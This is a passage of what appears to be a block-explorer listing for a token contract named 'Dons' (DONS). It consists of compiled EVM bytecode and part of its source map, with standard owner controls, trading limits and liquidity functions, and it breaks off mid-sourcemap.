e6572604082015260600190565b600060208284031215611a6157600080fd5b8151611988816118e9565b634e487b7160e01b600052601160045260246000fd5b8181038181111561083657610836611a6c565b8082018082111561083657610836611a6c565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611af857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b2357600080fd5b8151801515811461198857600080fd5b600082611b5057634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761083657610836611a6c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bd25784516001600160a01b031683529383019391830191600101611bad565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212205453c1780db27bc94c75d3ba489f37db8d1f8c2f581c2eb693ebb6c568b8930964736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101dc5760003560e01c806370a0823111610102578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e14610596578063f2fde38b146105dc578063f887ea40146105fc578063f9d0ee941461061c57600080fd5b8063a9059cbb14610530578063c9567bf914610550578063cc1776d314610565578063d62ce6311461058057600080fd5b80638f3fa860116100d15780638f3fa860146104ad57806395d89b41146104c3578063a457c2d7146104f0578063a8aa1b311461051057600080fd5b806370a0823114610400578063715018a614610436578063768dc7101461044b5780638da5cb5b1461047b57600080fd5b8063395093511161017a5780635966c81e116101495780635966c81e146103955780635a8bf611146103b55780636844df8e146103d55780636a01f09c146103ea57600080fd5b806339509351146102ec5780634ada218b1461030c5780634f7041a51461032c5780635342acb41461035c57600080fd5b806318160ddd116101b657806318160ddd1461026157806323b872dd1461028057806328c61f41146102a0578063313ce567146102d057600080fd5b80630161a290146101e857806306fdde03146101f2578063095ea7b31461023157600080fd5b366101e357005b600080fd5b6101f0610637565b005b3480156101fe57600080fd5b50604080518082019091526004815263446f6e7360e01b60208201525b604051610228919061189b565b60405180910390f35b34801561023d57600080fd5b5061025161024c3660046118fe565b610825565b6040519015158152602001610228565b34801561026d57600080fd5b506009545b604051908152602001610228565b34801561028c57600080fd5b5061025161029b36600461192a565b61083c565b3480156102ac57600080fd5b506102516102bb36600461196b565b60046020526000908152604090205460ff1681565b3480156102dc57600080fd5b5060405160098152602001610228565b3480156102f857600080fd5b506102516103073660046118fe565b61088e565b34801561031857600080fd5b50600e546102519062010000900460ff1681565b34801561033857600080fd5b50600f54601054610347919082565b60408051928352602083019190915201610228565b34801561036857600080fd5b5061025161037736600461196b565b6001600160a01b031660009081526003602052604090205460ff1690565b3480156103a157600080fd5b506101f06103b036600461198f565b6108c5565b3480156103c157600080fd5b506101f06103d03660046119a8565b610970565b3480156103e157600080fd5b506101f0610aec565b3480156103f657600080fd5b50610272600a5481565b34801561040c57600080fd5b5061027261041b36600461196b565b6001600160a01b031660009081526005602052604090205490565b34801561044257600080fd5b506101f0610b23565b34801561045757600080fd5b5061025161046636600461196b565b60036020526000908152604090205460ff1681565b34801561048757600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610228565b3480156104b957600080fd5b50610272600c5481565b3480156104cf57600080fd5b50604080518082019091526004815263444f4e5360e01b602082015261021b565b3480156104fc57600080fd5b5061025161050b3660046118fe565b610b57565b34801561051c57600080fd5b50600254610495906001600160a01b031681565b34801561053c57600080fd5b5061025161054b3660046118fe565b610b8e565b34801561055c57600080fd5b506101f0610b9b565b34801561057157600080fd5b50601154601254610347919082565b34801561058c57600080fd5b50610272600b5481565b3480156105a257600080fd5b506102726105b13660046119e1565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156105e857600080fd5b506101f06105f736600461196b565b610bd8565b34801561060857600080fd5b50600154610495906001600160a01b031681565b34801561062857600080fd5b50601354601454610347919082565b6000546001600160a01b0316331461066a5760405162461bcd60e51b815260040161066190611a1a565b60405180910390fd5b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e19190611a4f565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610743573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107679190611a4f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d89190611a4f565b600280546001600160a01b0319166001600160a01b039283169081179091556000908152600460205260409020805460ff191660019081179091555461082391309116600019610c73565b565b6000610832338484610c73565b5060015b92915050565b6000610849848484610d97565b6001600160a01b03841660009081526006602090815260408083203380855292529091205461088491869161087f908690611a82565b610c73565b5060019392505050565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161083291859061087f908690611a95565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161066190611a1a565b8047101561093f5760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e636500000000000000006044820152606401610661565b604051339082156108fc029083906000818181858888f1935050505015801561096c573d6000803e3d6000fd5b5050565b3360008181526003602052604090205460ff1661098c57600080fd5b6001546109a49030906001600160a01b031686610c73565b6109ae8285611240565b60008315610a3b5760015460405163f305d71960e01b81526001600160a01b039091169063f305d7199086906109f39030908a90600090819033904290600401611aa8565b60606040518083038185885af1158015610a11573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a369190611ae3565b509150505b6000610a478286611a82565b1115610a6c57610a6c610a5a8286611a82565b6007546001600160a01b031690611280565b6040516323b872dd60e01b81526001600160a01b0384166004820152306024820181905260448201879052906323b872dd906064016020604051808303816000875af1158015610ac0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae49190611b11565b505050505050565b6000546001600160a01b03163314610b165760405162461bcd60e51b815260040161066190611a1a565b600954600b819055600c55565b6000546001600160a01b03163314610b4d5760405162461bcd60e51b815260040161066190611a1a565b610823600061139e565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161083291859061087f908690611a82565b6000610832338484610d97565b6000546001600160a01b03163314610bc55760405162461bcd60e51b815260040161066190611a1a565b600e805462ffff00191662010100179055565b6000546001600160a01b03163314610c025760405162461bcd60e51b815260040161066190611a1a565b6001600160a01b038116610c675760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610661565b610c708161139e565b50565b6001600160a01b038316610cd55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610661565b6001600160a01b038216610d365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610661565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dfb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610661565b6001600160a01b038216610e5d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610661565b60008111610ebf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610661565b600b5481111580610ee857506001600160a01b03831660009081526004602052604090205460ff165b610f465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865205f6d61786044820152682a3c20b6b7bab73a1760b91b6064820152608401610661565b6001600160a01b03831660009081526003602052604090205460ff16158015610f8857506001600160a01b03821660009081526003602052604090205460ff16155b15610fdb57600e5462010000900460ff16610fdb5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610661565b6002546001600160a01b03838116600081815260046020526040902054919092169091149060ff1661109157600c548261102a856001600160a01b031660009081526005602052604090205490565b6110349190611a95565b11156110915760405162461bcd60e51b815260206004820152602660248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526530b63632ba1760d11b6064820152608401610661565b600a5430600090815260056020526040902054101580156110b95750600e54610100900460ff165b80156110c85750600e5460ff16155b80156110e257506002546001600160a01b03858116911614155b801561110757506001600160a01b03841660009081526003602052604090205460ff16155b801561112c57506001600160a01b03831660009081526003602052604090205460ff16155b15611139576111396113ee565b6001600160a01b03841660009081526005602052604081208054849290611161908490611a82565b90915550506001600160a01b038416600090815260036020526040902054829060ff161580156111aa57506001600160a01b03841660009081526003602052604090205460ff16155b156111bd576111ba838684611504565b90505b6001600160a01b038416600090815260056020526040812080548392906111e5908490611a95565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161123191815260200190565b60405180910390a35050505050565b3060008181526006602090815260408083206001600160a01b0387168452909152902054600019811461127a5761127a8483858403610c73565b50505050565b804710156112d05760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610661565b6000826001600160a01b03168260405160006040518083038185875af1925050503d806000811461131d576040519150601f19603f3d011682016040523d82523d6000602084013e611322565b606091505b50509050806113995760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610661565b505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff1916600117905560135415611478576007546001600160a01b0316600090815260056020526040812054600d5560135461142d9061164f565b90508015611476576007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561146f573d6000803e3d6000fd5b5060006013555b505b601454156114cf5760145460009061149290600290611b33565b90506000816013600101546114a79190611a82565b905060006114b48361164f565b905080156114c6576114c682826117cf565b50506000601455505b6040517fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003090600090a1600e805460ff19169055565b60408051808201909152600f5481526010546020820152600090821561153d575060408051808201909152601154815260125460208201525b805160009060649061154f9088611b55565b6115599190611b33565b90506000606483602001518861156f9190611b55565b6115799190611b33565b9050811561159c5781601360000160008282546115969190611a95565b90915550505b80156115bd5780601360010160008282546115b79190611a95565b90915550505b60006115c98284611a95565b306000908152600560205260408120805492935083929091906115ed908490611a95565b909155505080156116395760405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6116438189611a82565b98975050505050505050565b604080516002808252606082018352600092479284929091602083019080368337019050509050308160008151811061168a5761168a611b6c565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117079190611a4f565b8160018151811061171a5761171a611b6c565b6001600160a01b0392831660209182029290920101526001546117409130911686610c73565b600a54600d541061175057600080fd5b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611789908790600090869030904290600401611b82565b600060405180830381600087803b1580156117a357600080fd5b505af11580156117b7573d6000803e3d6000fd5b5050505081476117c79190611a82565b949350505050565b6001546117e79030906001600160a01b031684610c73565b6001546000906001600160a01b031663f305d71983308685806118126000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161183496959493929190611aa8565b60606040518083038185885af1158015611852573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118779190611ae3565b509150600090506118888284611a82565b111561139957611399610a5a8284611a82565b600060208083528351808285015260005b818110156118c8578581018301518582016040015282016118ac565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c7057600080fd5b6000806040838503121561191157600080fd5b823561191c816118e9565b946020939093013593505050565b60008060006060848603121561193f57600080fd5b833561194a816118e9565b9250602084013561195a816118e9565b929592945050506040919091013590565b60006020828403121561197d57600080fd5b8135611988816118e9565b9392505050565b6000602082840312156119a157600080fd5b5035919050565b6000806000606084860312156119bd57600080fd5b833592506020840135915060408401356119d6816118e9565b809150509250925092565b600080604083850312156119f457600080fd5b82356119ff816118e9565b91506020830135611a0f816118e9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611a6157600080fd5b8151611988816118e9565b634e487b7160e01b600052601160045260246000fd5b8181038181111561083657610836611a6c565b8082018082111561083657610836611a6c565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611af857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b2357600080fd5b8151801515811461198857600080fd5b600082611b5057634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761083657610836611a6c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bd25784516001600160a01b031683529383019391830191600101611bad565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212205453c1780db27bc94c75d3ba489f37db8d1f8c2f581c2eb693ebb6c568b8930964736f6c63430008130033
Deployed Bytecode Sourcemap
4619:10825:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10351:262;;;:::i;:::-;;6962:83;;;;;;;;;;-1:-1:-1;7032:5:0;;;;;;;;;;;;-1:-1:-1;;;7032:5:0;;;;6962:83;;;;;;;:::i;:::-;;;;;;;;7793:161;;;;;;;;;;-1:-1:-1;7793:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7793:161:0;1023:187:1;7239:95:0;;;;;;;;;;-1:-1:-1;7319:7:0;;7239:95;;;1361:25:1;;;1349:2;1334:18;7239:95:0;1215:177:1;9130:266:0;;;;;;;;;;-1:-1:-1;9130:266:0;;;;;:::i;:::-;;:::i;4859:58::-;;;;;;;;;;-1:-1:-1;4859:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7148:83;;;;;;;;;;-1:-1:-1;7148:83:0;;5200:1;2252:36:1;;2240:2;2225:18;7148:83:0;2110:184:1;7962:215:0;;;;;;;;;;-1:-1:-1;7962:215:0;;;;;:::i;:::-;;:::i;5695:34::-;;;;;;;;;;-1:-1:-1;5695:34:0;;;;;;;;;;;5817:28;;;;;;;;;;-1:-1:-1;5817:28:0;;;;;;;;;;;;;2473:25:1;;;2529:2;2514:18;;2507:34;;;;2446:18;5817:28:0;2299:248:1;11076:123:0;;;;;;;;;;-1:-1:-1;11076:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;11164:27:0;11140:4;11164:27;;;:18;:27;;;;;;;;;11076:123;10868:200;;;;;;;;;;-1:-1:-1;10868:200:0;;;;;:::i;:::-;;:::i;9408:785::-;;;;;;;;;;-1:-1:-1;9408:785:0;;;;;:::i;:::-;;:::i;10740:120::-;;;;;;;;;;;;;:::i;5420:41::-;;;;;;;;;;;;;;;;7342:117;;;;;;;;;;-1:-1:-1;7342:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7435:16:0;7408:7;7435:16;;;:7;:16;;;;;;;7342:117;1257:94;;;;;;;;;;;;;:::i;4801:51::-;;;;;;;;;;-1:-1:-1;4801:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1034:87;;;;;;;;;;-1:-1:-1;1080:7:0;1107:6;-1:-1:-1;;;;;1107:6:0;1034:87;;;-1:-1:-1;;;;;3289:32:1;;;3271:51;;3259:2;3244:18;1034:87:0;3125:203:1;5526:51:0;;;;;;;;;;;;;;;;7053:87;;;;;;;;;;-1:-1:-1;7125:7:0;;;;;;;;;;;;-1:-1:-1;;;7125:7:0;;;;7053:87;;8185:225;;;;;;;;;;-1:-1:-1;8185:225:0;;;;;:::i;:::-;;:::i;4773:19::-;;;;;;;;;;-1:-1:-1;4773:19:0;;;;-1:-1:-1;;;;;4773:19:0;;;7467:167;;;;;;;;;;-1:-1:-1;7467:167:0;;;;;:::i;:::-;;:::i;10621:111::-;;;;;;;;;;;;;:::i;5852:29::-;;;;;;;;;;-1:-1:-1;5852:29:0;;;;;;;;;5468:51;;;;;;;;;;;;;;;;7642:143;;;;;;;;;;-1:-1:-1;7642:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7750:18:0;;;7723:7;7750:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7642:143;1359:192;;;;;;;;;;-1:-1:-1;1359:192:0;;;;;:::i;:::-;;:::i;4745:21::-;;;;;;;;;;-1:-1:-1;4745:21:0;;;;-1:-1:-1;;;;;4745:21:0;;;5979:39;;;;;;;;;;-1:-1:-1;5979:39:0;;;;;;;;;10351:262;1080:7;1107:6;-1:-1:-1;;;;;1107:6:0;651:10;1169:23;1161:68;;;;-1:-1:-1;;;1161:68:0;;;;;;;:::i;:::-;;;;;;;;;10428:6:::1;;;;;;;;;-1:-1:-1::0;;;;;10428:6:0::1;-1:-1:-1::0;;;;;10428:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10419:37:0::1;;10465:4;10472:6;;;;;;;;;-1:-1:-1::0;;;;;10472:6:0::1;-1:-1:-1::0;;;;;10472:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10419:67;::::0;-1:-1:-1;;;;;;10419:67:0::1;::::0;;;;;;-1:-1:-1;;;;;4796:15:1;;;10419:67:0::1;::::0;::::1;4778:34:1::0;4848:15;;4828:18;;;4821:43;4713:18;;10419:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10412:4;:74:::0;;-1:-1:-1;;;;;;10412:74:0::1;-1:-1:-1::0;;;;;10412:74:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10497:31:0;;;:25:::1;:31;::::0;;;;:38;;-1:-1:-1;;10497:38:0::1;-1:-1:-1::0;10497:38:0;;::::1;::::0;;;10578:6;10546:59:::1;::::0;10563:4:::1;::::0;10578:6:::1;-1:-1:-1::0;;10546:8:0::1;:59::i;:::-;10351:262::o:0;7793:161::-;7868:4;7885:39;651:10;7908:7;7917:6;7885:8;:39::i;:::-;-1:-1:-1;7942:4:0;7793:161;;;;;:::o;9130:266::-;9228:4;9245:36;9255:6;9263:9;9274:6;9245:9;:36::i;:::-;-1:-1:-1;;;;;9323:19:0;;;;;;:11;:19;;;;;;;;651:10;9323:33;;;;;;;;;9292:74;;9301:6;;9323:42;;9359:6;;9323:42;:::i;:::-;9292:8;:74::i;:::-;-1:-1:-1;9384:4:0;9130:266;;;;;:::o;7962:215::-;651:10;8050:4;8099:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8099:34:0;;;;;;;;;;8050:4;;8067:80;;8090:7;;8099:47;;8136:10;;8099:47;:::i;10868:200::-;1080:7;1107:6;-1:-1:-1;;;;;1107:6:0;651:10;1169:23;1161:68;;;;-1:-1:-1;;;1161:68:0;;;;;;;:::i;:::-;10972:9:::1;10947:21;:34;;10939:71;;;::::0;-1:-1:-1;;;10939:71:0;;5472:2:1;10939:71:0::1;::::0;::::1;5454:21:1::0;5511:2;5491:18;;;5484:30;5550:26;5530:18;;;5523:54;5594:18;;10939:71:0::1;5270:348:1::0;10939:71:0::1;11021:39;::::0;11029:10:::1;::::0;11021:39;::::1;;;::::0;11050:9;;11021:39:::1;::::0;;;11050:9;11029:10;11021:39;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10868:200:::0;:::o;9408:785::-;9508:10;11140:4;11164:27;;;:18;:27;;;;;;;;6176:35;;;;;;9563:6:::1;::::0;9531:53:::1;::::0;9548:4:::1;::::0;-1:-1:-1;;;;;9563:6:0::1;9572:11:::0;9531:8:::1;:53::i;:::-;9586:36;9602:6;9610:11;9586:15;:36::i;:::-;9633:24;9672:28:::0;;9668:306:::1;;9740:6;::::0;:222:::1;::::0;-1:-1:-1;;;9740:222:0;;-1:-1:-1;;;;;9740:6:0;;::::1;::::0;:22:::1;::::0;9771:9;;9740:222:::1;::::0;9809:4:::1;::::0;9833:11;;9740:6:::1;::::0;;;9903:10:::1;::::0;9932:15:::1;::::0;9740:222:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9717:245:0;-1:-1:-1;;9668:306:0::1;10029:1;9998:28;10010:16:::0;9998:9;:28:::1;:::i;:::-;:32;9994:110;;;10045:59;10075:28;10087:16:::0;10075:9;:28:::1;:::i;:::-;10053:9;::::0;-1:-1:-1;;;;;10053:9:0::1;::::0;10045:28:::1;:59::i;:::-;10115:70;::::0;-1:-1:-1;;;10115:70:0;;-1:-1:-1;;;;;6804:15:1;;10115:70:0::1;::::0;::::1;6786:34:1::0;10130:4:0::1;6836:18:1::0;;;6829:43;;;6888:18;;;6881:34;;;10130:4:0;10115:34:::1;::::0;6721:18:1;;10115:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9520:673;9408:785:::0;;;;:::o;10740:120::-;1080:7;1107:6;-1:-1:-1;;;;;1107:6:0;651:10;1169:23;1161:68;;;;-1:-1:-1;;;1161:68:0;;;;;;;:::i;:::-;10820:7:::1;::::0;10803:14:::1;:24:::0;;;10829:13:::1;:23:::0;10740:120::o;1257:94::-;1080:7;1107:6;-1:-1:-1;;;;;1107:6:0;651:10;1169:23;1161:68;;;;-1:-1:-1;;;1161:68:0;;;;;;;:::i;:::-;1322:21:::1;1340:1;1322:9;:21::i;8185:225::-:0;651:10;8278:4;8327:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8327:34:0;;;;;;;;;;8278:4;;8295:85;;8318:7;;8327:52;;8364:15;;8327:52;:::i;7467:167::-;7545:4;7562:42;651:10;7586:9;7597:6;7562:9;:42::i;10621:111::-;1080:7;1107:6;-1:-1:-1;;;;;1107:6:0;651:10;1169:23;1161:68;;;;-1:-1:-1;;;1161:68:0;;;;;;;:::i;:::-;10674:14:::1;:21:::0;;-1:-1:-1;;10706:18:0;;;;;10621:111::o;1359:192::-;1080:7;1107:6;-1:-1:-1;;;;;1107:6:0;651:10;1169:23;1161:68;;;;-1:-1:-1;;;1161:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1448:22:0;::::1;1440:73;;;::::0;-1:-1:-1;;;1440:73:0;;7410:2:1;1440:73:0::1;::::0;::::1;7392:21:1::0;7449:2;7429:18;;;7422:30;7488:34;7468:18;;;7461:62;-1:-1:-1;;;7539:18:1;;;7532:36;7585:19;;1440:73:0::1;7208:402:1::0;1440:73:0::1;1524:19;1534:8;1524:9;:19::i;:::-;1359:192:::0;:::o;8787:335::-;-1:-1:-1;;;;;8880:19:0;;8872:68;;;;-1:-1:-1;;;8872:68:0;;7817:2:1;8872:68:0;;;7799:21:1;7856:2;7836:18;;;7829:30;7895:34;7875:18;;;7868:62;-1:-1:-1;;;7946:18:1;;;7939:34;7990:19;;8872:68:0;7615:400:1;8872:68:0;-1:-1:-1;;;;;8959:21:0;;8951:68;;;;-1:-1:-1;;;8951:68:0;;8222:2:1;8951:68:0;;;8204:21:1;8261:2;8241:18;;;8234:30;8300:34;8280:18;;;8273:62;-1:-1:-1;;;8351:18:1;;;8344:32;8393:19;;8951:68:0;8020:398:1;8951:68:0;-1:-1:-1;;;;;9030:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9082:32;;1361:25:1;;;9082:32:0;;1334:18:1;9082:32:0;;;;;;;8787:335;;;:::o;11254:1338::-;-1:-1:-1;;;;;11340:18:0;;11332:68;;;;-1:-1:-1;;;11332:68:0;;8625:2:1;11332:68:0;;;8607:21:1;8664:2;8644:18;;;8637:30;8703:34;8683:18;;;8676:62;-1:-1:-1;;;8754:18:1;;;8747:35;8799:19;;11332:68:0;8423:401:1;11332:68:0;-1:-1:-1;;;;;11419:16:0;;11411:64;;;;-1:-1:-1;;;11411:64:0;;9031:2:1;11411:64:0;;;9013:21:1;9070:2;9050:18;;;9043:30;9109:34;9089:18;;;9082:62;-1:-1:-1;;;9160:18:1;;;9153:33;9203:19;;11411:64:0;8829:399:1;11411:64:0;11503:1;11494:6;:10;11486:64;;;;-1:-1:-1;;;11486:64:0;;9435:2:1;11486:64:0;;;9417:21:1;9474:2;9454:18;;;9447:30;9513:34;9493:18;;;9486:62;-1:-1:-1;;;9564:18:1;;;9557:39;9613:19;;11486:64:0;9233:405:1;11486:64:0;11579:14;;11569:6;:24;;:59;;;-1:-1:-1;;;;;;11597:31:0;;;;;;:25;:31;;;;;;;;11569:59;11561:113;;;;-1:-1:-1;;;11561:113:0;;9845:2:1;11561:113:0;;;9827:21:1;9884:2;9864:18;;;9857:30;9923:34;9903:18;;;9896:62;-1:-1:-1;;;9974:18:1;;;9967:39;10023:19;;11561:113:0;9643:405:1;11561:113:0;-1:-1:-1;;;;;11692:24:0;;;;;;:18;:24;;;;;;;;11691:25;:52;;;;-1:-1:-1;;;;;;11721:22:0;;;;;;:18;:22;;;;;;;;11720:23;11691:52;11687:131;;;11768:14;;;;;;;11760:46;;;;-1:-1:-1;;;11760:46:0;;10255:2:1;11760:46:0;;;10237:21:1;10294:2;10274:18;;;10267:30;-1:-1:-1;;;10313:18:1;;;10306:49;10372:18;;11760:46:0;10053:343:1;11760:46:0;11850:4;;-1:-1:-1;;;;;11844:10:0;;;11830:11;11871:29;;;:25;:29;;;;;;11850:4;;;;11844:10;;;;11871:29;;11867:138;;11949:13;;11939:6;11923:13;11933:2;-1:-1:-1;;;;;7435:16:0;7408:7;7435:16;;;:7;:16;;;;;;;7342:117;11923:13;:22;;;;:::i;:::-;:39;;11915:90;;;;-1:-1:-1;;;11915:90:0;;10603:2:1;11915:90:0;;;10585:21:1;10642:2;10622:18;;;10615:30;10681:34;10661:18;;;10654:62;-1:-1:-1;;;10732:18:1;;;10725:36;10778:19;;11915:90:0;10401:402:1;11915:90:0;12058:9;;12048:4;7408:7;7435:16;;;:7;:16;;;;;;12030:37;;:66;;;;-1:-1:-1;12085:11:0;;;;;;;12030:66;:93;;;;-1:-1:-1;12115:8:0;;;;12114:9;12030:93;:123;;;;-1:-1:-1;12149:4:0;;-1:-1:-1;;;;;12141:12:0;;;12149:4;;12141:12;;12030:123;:166;;;;-1:-1:-1;;;;;;12172:24:0;;;;;;:18;:24;;;;;;;;12171:25;12030:166;:206;;;;-1:-1:-1;;;;;;12214:22:0;;;;;;:18;:22;;;;;;;;12213:23;12030:206;12026:238;;;12248:16;:14;:16::i;:::-;-1:-1:-1;;;;;12277:13:0;;;;;;:7;:13;;;;;:23;;12294:6;;12277:13;:23;;12294:6;;12277:23;:::i;:::-;;;;-1:-1:-1;;;;;;;12367:24:0;;12311:22;12367:24;;;:18;:24;;;;;;12336:6;;12367:24;;12366:25;:52;;;;-1:-1:-1;;;;;;12396:22:0;;;;;;:18;:22;;;;;;;;12395:23;12366:52;12363:130;;;12451:30;12460:6;12468:4;12474:6;12451:8;:30::i;:::-;12434:47;;12363:130;-1:-1:-1;;;;;12505:11:0;;;;;;:7;:11;;;;;:29;;12520:14;;12505:11;:29;;12520:14;;12505:29;:::i;:::-;;;;;;;;12565:2;-1:-1:-1;;;;;12550:34:0;12559:4;-1:-1:-1;;;;;12550:34:0;;12569:14;12550:34;;;;1361:25:1;;1349:2;1334:18;;1215:177;12550:34:0;;;;;;;;11321:1271;;11254:1338;;;:::o;8418:361::-;8528:4;8504:13;7750:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;7750:27:0;;;;;;;;;;-1:-1:-1;;8611:37:0;;8607:165;;8694:51;8703:7;8712:5;8738:6;8719:16;:25;8694:8;:51::i;:::-;8493:286;;8418:361;;:::o;198:317::-;313:6;288:21;:31;;280:73;;;;-1:-1:-1;;;280:73:0;;11010:2:1;280:73:0;;;10992:21:1;11049:2;11029:18;;;11022:30;11088:31;11068:18;;;11061:59;11137:18;;280:73:0;10808:353:1;280:73:0;367:12;385:9;-1:-1:-1;;;;;385:14:0;407:6;385:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;366:52;;;437:7;429:78;;;;-1:-1:-1;;;429:78:0;;11578:2:1;429:78:0;;;11560:21:1;11617:2;11597:18;;;11590:30;11656:34;11636:18;;;11629:62;11727:28;11707:18;;;11700:56;11773:19;;429:78:0;11376:422:1;429:78:0;269:246;198:317;;:::o;1559:173::-;1615:16;1634:6;;-1:-1:-1;;;;;1651:17:0;;;-1:-1:-1;;;;;;1651:17:0;;;;;;1684:40;;1634:6;;;;;;;1684:40;;1615:16;1684:40;1604:128;1559:173;:::o;14033:823::-;6059:8;:15;;-1:-1:-1;;6059:15:0;6070:4;6059:15;;;14092:18:::1;:34:::0;:38;14089:358:::1;;14174:9;::::0;-1:-1:-